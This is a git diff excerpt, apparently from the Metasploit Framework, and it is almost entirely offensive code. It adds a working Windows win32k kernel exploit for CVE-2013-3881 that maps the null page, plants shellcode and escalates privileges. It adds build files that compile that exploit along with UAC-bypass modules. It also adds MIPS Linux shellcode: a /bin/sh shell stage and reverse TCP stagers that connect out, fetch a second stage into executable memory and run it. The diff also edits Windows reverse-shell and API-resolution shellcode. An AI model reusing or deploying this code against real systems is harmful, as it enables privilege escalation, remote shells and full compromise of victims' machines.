[esi+8] + "\x89\x47\x04" // mov [edi + 4], eax + "\x8b\x46\x0c" // mov eax, [esi+c] + "\x89\x47\x08" // mov [edi+8], eax + /* Epilog Part 2: Return to xxxTrackPopupMenuEx */ + "\x83\x7c\x24\x58\x00" // cmp DWORD PTR [esp+0x58], 0 + "\x74\x11" // je short sp1 + "\x83\x7c\x24\x5c\x01" // cmp DWORD PTR [esp+0x5c], 1 + "\x75\x0a" // je short sp1 + /* Service Pack 0 */ + "\x83\xc4\x48" // add esp, 0x48 + "\x5f" // pop edi + "\x5e" // pop esi + "\x5b" // pop ebx + "\x5d" // pop ebp + "\xc2\x04\x00" // ret 4 + /* Service Pack 1 */ + "\x83\xc4\x4c" // add esp 0x4c + "\x5f" // pop edi + "\x5e" // pop esi + "\x83\xc4\x0c" // add esp, 0x0c + "\x5d" // pop ebp + "\xc2\x08\x00"; // ret 8 + +typedef struct _HANDLEENTRY { + struct _HEAD *pHead; + void *pOwner; + UINT8 bType; + UINT8 bFlags; + UINT16 wUniq; +} HANDLEENTRY, *PHANDLEENTRY; + +typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)( + IN HANDLE ProcessHandle, + IN PVOID *BaseAddress, + IN PULONG ZeroBits, + IN PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect +); + +typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)( + IN DWORD ProfileSource, + OUT PULONG Interval +); + +LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { + return DefWindowProc(hwnd, msg, wParam, lParam); +} + +NTSTATUS AllocateNullPage(void) { + HMODULE hNtdll = NULL; + FARPROC pNtAllocateVirtualMemory = NULL; + DWORD base_address = 1; + SIZE_T region_size = 0x1000; + ULONG zero_bits = 0; + HANDLE current_process = NULL; + NTSTATUS status = 0; + + hNtdll = LoadLibraryA("ntdll"); + pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); + current_process = GetCurrentProcess(); + status = pNtAllocateVirtualMemory(current_process, &base_address, 0, ®ion_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE); + FreeLibrary(hNtdll); + return status; +} + +PHANDLEENTRY GetAheList(void) { + HMODULE hUser32 = NULL; + HANDLEENTRY **tagSharedInfo = NULL; + + hUser32 = LoadLibraryA("user32"); + tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo"); + if (tagSharedInfo == NULL) { + return NULL; + } + return (PHANDLEENTRY)*&tagSharedInfo[1]; +} + +DWORD WINAPI TriggerThread0(void *garbage) { + HMENU menu0; + + SetThreadDesktop(desktop); + window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); + menu0 = CreatePopupMenu(); + if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { + return 0; + } + TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL); + return 0; +} + +BOOL WINAPI CreateAndRegisterClass(char * class_name) { + WNDCLASSEX wx; + HINSTANCE hInstance = NULL; + + hInstance = (HINSTANCE)GetModuleHandle(NULL); + if (hInstance == NULL) { + return FALSE; + } + + wx.cbSize = sizeof(WNDCLASSEX); + wx.style = 0; + wx.lpfnWndProc = WndProc; + wx.cbClsExtra = 0; + wx.cbWndExtra = 0; + wx.hInstance = hInstance; + wx.hIcon = LoadIcon(NULL, IDI_APPLICATION); + wx.hCursor = LoadCursor(NULL, IDC_ARROW); + wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); + wx.lpszMenuName = NULL; + wx.lpszClassName = class_name; + wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION); + + if (RegisterClassEx(&wx) != 0) { + return TRUE; + } + return FALSE; +} + +DWORD WINAPI ExecutePayload(LPVOID lpPayload) { + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} + +void Win32kNullPage(LPVOID lpPayload) { + HMENU menu1 = NULL; + HMENU menu2 = NULL; + HANDLE gdi_handle = NULL; + void *promise_land = NULL; + ULONG interval = 0; + PHANDLEENTRY aheList = NULL; + PHANDLEENTRY target_handle = NULL; + DWORD saved_bytes = 0; + + desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); + SetThreadDesktop(desktop); + + if (!CreateAndRegisterClass(window_class_name)) { + return; + } + + if (AllocateNullPage() != STATUS_SUCCESS) { + return; + } + *((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */ + *((PDWORD)promise_land + 1) = 0x90909090; /* noooop */ + *((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */ + *((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */ + *((PDWORD)promise_land + 7) = 0x00; + *((PDWORD)promise_land + 9) = 0x00; + *((PDWORD)promise_land + 12) = 0x00; + *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4); + *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4); + memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode)); + + window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); + menu1 = CreatePopupMenu(); + menu2 = CreateMenu(); + SetMenu(window1, menu2); + DestroyMenu(menu2); + + aheList = GetAheList(); + *((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff); + *((PDWORD)promise_land + 128) = 0x01; + *((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104; + + target_handle = &aheList[((DWORD)menu2 & 0xffff)]; + *((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE); + memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY)); + + if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { + return; + } + + do { + gdi_handle = CreateMetaFile(NULL); + } while (gdi_handle != NULL); + + CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0); + Sleep(500); + TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL); + CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { + BOOL bReturnValue = TRUE; + switch (dwReason) { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + Win32kNullPage(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +}; diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj new file mode 100755 index 0000000000..634f972b10 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj @@ -0,0 +1,85 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B} + cve20133881 + + + + DynamicLibrary + true + false + MultiByte + v120 + + + DynamicLibrary + false + false + MultiByte + v120 + + + + + + + + + + + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + + + + CompileAsC + Level3 + Disabled + true + true + MultiThreaded + + + true + true + $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + + + + CompileAsC + Level3 + Disabled + true + true + Default + MultiThreaded + + + false + true + $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3881/make.msbuild b/external/source/exploits/cve-2013-3881/make.msbuild new file mode 100644 index 0000000000..688fd5ed4c --- /dev/null +++ b/external/source/exploits/cve-2013-3881/make.msbuild @@ -0,0 +1,17 @@ + + + + .\cve-2013-3881.sln + + + + + + + + + + + + + diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index 6981f1f155..a7893e8d85 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -40,6 +40,27 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2013-3881 (win32k_null_page)" + PUSHD CVE-2013-3881 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building bypassuac (on-disk)" + PUSHD bypassuac + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building bypassuac (in-memory)" + PUSHD bypassuac_injection + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% echo Finished %ldt% diff --git a/external/source/shellcode/linux/mips/stage_tcp_shell.s b/external/source/shellcode/linux/mips/stage_tcp_shell.s new file mode 100644 index 0000000000..bbe9086fe5 --- /dev/null +++ b/external/source/shellcode/linux/mips/stage_tcp_shell.s @@ -0,0 +1,75 @@ +## +# +# Name: stage_tcp_shell +# Type: Stage +# Qualities: Compatible with both mips little and big endian +# Platforms: Linux +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# This payload duplicates stdio, stdin and stderr to a file descriptor, +# stored on $s2, and executes /bin/sh. +# +# Assemble and create a relocatable object with: +# as -o stage_tcp_shell.o stage_tcp_shell.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stage_tcp_shell stage_tcp_shell.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stages/linux/mipsle/shell.rb +# and: +# modules/payloads/stages/linux/mipsbe/shell.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # dup2(sockfd, 2) + # dup2(sockfd, 1) + # dup2(sockfd, 0) + # a0: oldfd (sockfd) + # a1: newfd (2, 1, 0) + # v0: syscall = __NR_dup2 (4063) + li $s1, -3 + nor $s1, $s1, $zero + add $a0, $s2, $zero +dup2_loop: + add $a1, $s1, $zero # dup2_loop + li $v0, 4063 # sys_dup2 + syscall 0x40404 + li $s0, -1 + addi $s1, $s1, -1 + bne $s1, $s0, dup2_loop # + + # execve("/bin/sh", ["/bin/sh"], NULL) + # a0: filename "/bin/sh" + # a1: argv ["/bin/sh", NULL] + # a2: envp NULL + # v0: syscall = __NR_dup2 (4011) + li $t8, -1 # load t8 with -1 +getaddr: # getaddr trick from scut@team-teso.net + bltzal $t8, getaddr # branch with $ra stored if t8 < 0 + slti $t8, $zero, -1 # delay slot instr: $t8 = 0 (see below) + addi $a0, $ra, 28 # $ra gets this address + sw $a0, -8($sp) + sw $zero, -4($sp) + addi $a1, $sp, -8 + slti $a2, $zero,-1 + li $v0, 4011 # sys_execve + syscall 0x40404 + + .string "/bin/sh" + .set macro + .set reorder diff --git a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s new file mode 100644 index 0000000000..9aba45eea7 --- /dev/null +++ b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s @@ -0,0 +1,127 @@ +## +# +# Name: stager_sock_reverse +# Type: Stager +# Qualities: No Nulls out of the IP / Port data +# Platforms: Linux MIPS Big Endian +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# Implementation of a MIPS BE Linux reverse TCP stager. +# +# File descriptor in $s2. +# +# Assemble and create a relocatable object with: +# as -o stager_sock_reverse.o stager_sock_reverse.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stager_sock_reverse stager_sock_reverse.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + # a0: domain = PF_INET (2) + # a1: type = SOCK_STREAM (2) + # a2: protocol = IPPROTO_IP (0) + # v0: syscall = __NR_socket (4183) + li $t7, -6 + nor $t7, $t7, $zero + addi $a0, $t7, -3 + addi $a1, $t7, -3 + slti $a2, $zero, -1 + li $v0, 4183 + syscall 0x40404 + sw $v0, -4($sp) # store the file descriptor for the socket on the stack + + # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) + # a0: sockfd + # a1: addr = AF_INET (2) + # a2: addrlen = 16 + # v0: syscall = __NR_connect (4170) + lw $a0, -4($sp) + li $t7, -3 + nor $t7, $t7, $zero + sw $t7, -32($sp) + lui $t6, 0x115c + sw $t6, -28($sp) + lui $t6, 0x7f00 # ip + ori $t6, $t6, 0x0001 # ip + sw $t6, -26($sp) + addiu $a1, $sp, -30 + li $t4, -17 + nor $a2, $t4, $zero + li $v0, 4170 + syscall 0x40404 + + # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + # a0: addr = -1 + # a1: lenght = 4096 + # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) + # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) + # sp(16): fd = -1 + # sp(20): offset = 0 + # v0: syscall = __NR_mmap (4090) + li $a0, -1 + li $a1, 4097 + addi $a1, $a1, -1 + li $t1, -8 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $a3, 2050 + li $t3, -22 + nor $t3, $t3, $zero + add $t3, $sp, $t3 + sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls + sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls + li $v0, 4090 + syscall 0x40404 + sw $v0, -8($sp) # Stores the mmap'ed address on the stack + + # read(sockfd, addr, 4096) + # a0: sockfd + # a1: addr + # a2: len = 4096 + # v0: syscall = __NR_read (4003) + lw $a0, -4($sp) + lw $a1, -8($sp) + li $a2, 4097 + addi $a2, $a2, -1 + li $v0, 4003 + syscall 0x40404 + + # cacheflush(addr, nbytes, DCACHE) + # a0: addr + # a1: nbytes + # a2: cache = DCACHE (2) + # v0: syscall = __NR_read (4147) + lw $a0, -8($sp) + add $a1, $v0, $zero + li $t1, -3 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $v0, 4147 + syscall 0x40404 + + # jmp to the stage + lw $s1, -8($sp) + lw $s2, -4($sp) + jalr $s1 + + .set macro + .set reorder diff --git a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s new file mode 100644 index 0000000000..42083452af --- /dev/null +++ b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s @@ -0,0 +1,127 @@ +## +# +# Name: stager_sock_reverse +# Type: Stager +# Qualities: No Nulls out of the IP / Port data +# Platforms: Linux MIPS Little Endian +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# Implementation of a MIPS LE Linux reverse TCP stager. +# +# File descriptor in $s2. +# +# Assemble and create a relocatable object with: +# as -o stager_sock_reverse.o stager_sock_reverse.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stager_sock_reverse stager_sock_reverse.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stagers/linux/mipsle/reverse_tcp.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + # a0: domain = PF_INET (2) + # a1: type = SOCK_STREAM (2) + # a2: protocol = IPPROTO_IP (0) + # v0: syscall = __NR_socket (4183) + li $t7, -6 + nor $t7, $t7, $zero + addi $a0, $t7, -3 + addi $a1, $t7, -3 + slti $a2, $zero, -1 + li $v0, 4183 + syscall 0x40404 + sw $v0, -4($sp) # store the file descriptor for the socket on the stack + + # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) + # a0: sockfd + # a1: addr = AF_INET (2) + # a2: addrlen = 16 + # v0: syscall = __NR_connect (4170) + lw $a0, -4($sp) + li $t7, -3 + nor $t7, $t7, $zero + sw $t7, -30($sp) + ori $t6, $zero, 0x5c11 # port + sw $t6, -28($sp) + lui $t6, 0x100 # ip + ori $t6, $t6, 0x7f # ip + sw $t6, -26($sp) + addiu $a1, $sp, -30 + li $t4, -17 + nor $a2, $t4, $zero + li $v0, 4170 + syscall 0x40404 + + # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + # a0: addr = -1 + # a1: lenght = 4096 + # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) + # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) + # sp(16): fd = -1 + # sp(20): offset = 0 + # v0: syscall = __NR_mmap (4090) + li $a0, -1 + li $a1, 4097 + addi $a1, $a1, -1 + li $t1, -8 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $a3, 2050 + li $t3, -22 + nor $t3, $t3, $zero + add $t3, $sp, $t3 + sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls + sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls + li $v0, 4090 + syscall 0x40404 + sw $v0, -8($sp) # Stores the mmap'ed address on the stack + + # read(sockfd, addr, 4096) + # a0: sockfd + # a1: addr + # a2: len = 4096 + # v0: syscall = __NR_read (4003) + lw $a0, -4($sp) + lw $a1, -8($sp) + li $a2, 4097 + addi $a2, $a2, -1 + li $v0, 4003 + syscall 0x40404 + + # cacheflush(addr, nbytes, DCACHE) + # a0: addr + # a1: nbytes + # a2: cache = DCACHE (2) + # v0: syscall = __NR_read (4147) + lw $a0, -8($sp) + add $a1, $v0, $zero + li $t1, -3 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $v0, 4147 + syscall 0x40404 + + # jmp to the stage + lw $s1, -8($sp) + lw $s2, -4($sp) # sockfd saved on $s2 + jalr $s1 + + .set macro + .set reorder diff --git a/external/source/shellcode/windows/x86/build.py b/external/source/shellcode/windows/x86/build.py index 31eaa848c8..93e1bf59b5 100644 --- a/external/source/shellcode/windows/x86/build.py +++ b/external/source/shellcode/windows/x86/build.py @@ -1,124 +1,128 @@ -#=============================================================================# -# A simple python build script to build the singles/stages/stagers and -# some usefull information such as offsets and a hex dump. The binary output -# will be placed in the bin directory. A hex string and usefull comments will -# be printed to screen. -# -# Example: -# >python build.py stager_reverse_tcp_nx -# -# Example, to build everything: -# >python build.py all > build_output.txt -# -# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -#=============================================================================# -import os, sys, time -from subprocess import Popen -from struct import pack -#=============================================================================# -def clean( dir="./bin/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - os.remove( os.path.join( root, name ) ) -#=============================================================================# -def locate( src_file, dir="./src/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - if src_file == name: - return root - return None -#=============================================================================# -def build( name ): - location = locate( "%s.asm" % name ) - if location: - input = os.path.normpath( os.path.join( location, name ) ) - output = os.path.normpath( os.path.join( "./bin/", name ) ) - p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) - p.wait() - xmit( name ) - else: - print "[-] Unable to locate '%s.asm' in the src directory" % name -#=============================================================================# -def xmit_dump_ruby( data, length=16 ): - dump = "" - for i in xrange( 0, len( data ), length ): - bytes = data[ i : i+length ] - hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) - if i+length <= len(data): - hex += " +" - dump += "%s\n" % ( hex ) - print dump -#=============================================================================# -def xmit_offset( data, name, value ): - offset = data.find( value ); - if offset != -1: - print "# %s Offset: %d" % ( name, offset ) -#=============================================================================# -def xmit( name, dump_ruby=True ): - bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) - f = open( bin, 'rb') - data = f.read() - print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) - xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 - xmit_offset( data, "LEPort", pack( "L", 0x7F000001 ) ) # 127.0.0.1 - xmit_offset( data, "IPv6Host", pack( "H", 0x1122 ) ) # Egg tag size - xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key - xmit_offset( data, "XORKey", "XORK") # XOR key - if( name.find( "egghunter" ) >= 0 ): - null_count = data.count( "\x00" ) - if( null_count > 0 ): - print "# Note: %d NULL bytes found." % ( null_count ) - if dump_ruby: - xmit_dump_ruby( data ) #=============================================================================# -def main( argv=None ): - if not argv: - argv = sys.argv - try: - if len( argv ) == 1: - print "Usage: build.py [clean|all|]" - else: - print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) - if argv[1] == "clean": - clean() - elif argv[1] == "all": - for root, dirs, files in os.walk( "./src/egghunter/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/migrate/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/single/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stage/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stager/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/kernel/" ): - for name in files: - build( name[:-4] ) - else: - build( argv[1] ) - except Exception, e: - print "[-] ", e -#=============================================================================# -if __name__ == "__main__": - main() +# A simple python build script to build the singles/stages/stagers and +# some usefull information such as offsets and a hex dump. The binary output +# will be placed in the bin directory. A hex string and usefull comments will +# be printed to screen. +# +# Example: +# >python build.py stager_reverse_tcp_nx +# +# Example, to build everything: +# >python build.py all > build_output.txt +# +# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) #=============================================================================# +import os, sys, time +from subprocess import Popen +from struct import pack +#=============================================================================# +def clean( dir="./bin/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + os.remove( os.path.join( root, name ) ) +#=============================================================================# +def locate( src_file, dir="./src/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + if src_file == name: + return root + return None +#=============================================================================# +def build( name ): + location = locate( "%s.asm" % name ) + if location: + input = os.path.normpath( os.path.join( location, name ) ) + output = os.path.normpath( os.path.join( "./bin/", name ) ) + p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) + p.wait() + xmit( name ) + else: + print "[-] Unable to locate '%s.asm' in the src directory" % name + +#=============================================================================# +def xmit_dump_ruby( data, length=16 ): + dump = "" + for i in xrange( 0, len( data ), length ): + bytes = data[ i : i+length ] + hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) + if i+length <= len(data): + hex += " +" + dump += "%s\n" % ( hex ) + print dump + +#=============================================================================# +def xmit_offset( data, name, value, match_offset=0 ): + offset = data.find( value ); + if offset != -1: + print "# %s Offset: %d" % ( name, offset + match_offset ) + +#=============================================================================# +def xmit( name, dump_ruby=True ): + bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) + f = open( bin, 'rb') + data = f.read() + print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) + xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 + xmit_offset( data, "LEPort", pack( "L", 0x7F000001 ) ) # 127.0.0.1 + xmit_offset( data, "IPv6Host", pack( "H", 0x1122 ) ) # Egg tag size + xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key + xmit_offset( data, "XORKey", "XORK") # XOR key + if( name.find( "egghunter" ) >= 0 ): + null_count = data.count( "\x00" ) + if( null_count > 0 ): + print "# Note: %d NULL bytes found." % ( null_count ) + if dump_ruby: + xmit_dump_ruby( data ) + +#=============================================================================# +def main( argv=None ): + if not argv: + argv = sys.argv + try: + if len( argv ) == 1: + print "Usage: build.py [clean|all|]" + else: + print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) + if argv[1] == "clean": + clean() + elif argv[1] == "all": + for root, dirs, files in os.walk( "./src/egghunter/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/migrate/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/single/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stage/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stager/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/kernel/" ): + for name in files: + build( name[:-4] ) + else: + build( argv[1] ) + except Exception, e: + print "[-] ", e +#=============================================================================# +if __name__ == "__main__": + main() +#=============================================================================# diff --git a/external/source/shellcode/windows/x86/src/block/block_api.asm b/external/source/shellcode/windows/x86/src/block/block_api.asm index 2acc13ddec..3b7a85d82e 100644 --- a/external/source/shellcode/windows/x86/src/block/block_api.asm +++ b/external/source/shellcode/windows/x86/src/block/block_api.asm @@ -23,7 +23,7 @@ api_call: mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check + movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; xor eax, eax ; Clear EAX @@ -34,22 +34,25 @@ loop_modname: ; not_lowercase: ; ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough + loop loop_modname ; Loop until we have read enough + ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later - ; Proceed to itterate the export address table, + ; Proceed to iterate the export address table, mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names + + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + mov ecx, [eax+edx+120] ; Get the EAT from the PE header + jecxz get_next_mod1 ; If no EAT present, process the next module + add ecx, edx ; Add the modules base address + push ecx ; Save the current modules EAT + mov ebx, [ecx+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address + mov ecx, [ecx+24] ; Get the number of function names + ; now ecx returns to its regularly scheduled counter duties + ; Computing the module hash + function hash get_next_func: ; jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module @@ -66,14 +69,15 @@ loop_funcname: ; cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + cmp edi, [ebp+36] ; Compare the hash to the one we are searching for jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva + mov ebx, [eax+36] ; Get the ordinal table rva add ebx, edx ; Add the modules base address mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva + mov ebx, [eax+28] ; Get the function addresses table rva add ebx, edx ; Add the modules base address mov eax, [ebx+4*ecx] ; Get the desired functions RVA add eax, edx ; Add the modules base address to get the functions actual VA @@ -88,10 +92,11 @@ finish: push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... + get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module - jmp short next_mod ; Process this module \ No newline at end of file + jmp short next_mod ; Process this module diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm index 42c717622a..20c4f643e6 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm @@ -6,6 +6,25 @@ ;-----------------------------------------------------------------------------; [BITS 32] +%ifdef ENABLE_SSL +%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 ) + ;0x80000000 | ; INTERNET_FLAG_RELOAD + ;0x04000000 | ; INTERNET_NO_CACHE_WRITE + ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION + ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT + ;0x00000200 | ; INTERNET_FLAG_NO_UI + ;0x00800000 | ; INTERNET_FLAG_SECURE + ;0x00002000 | ; 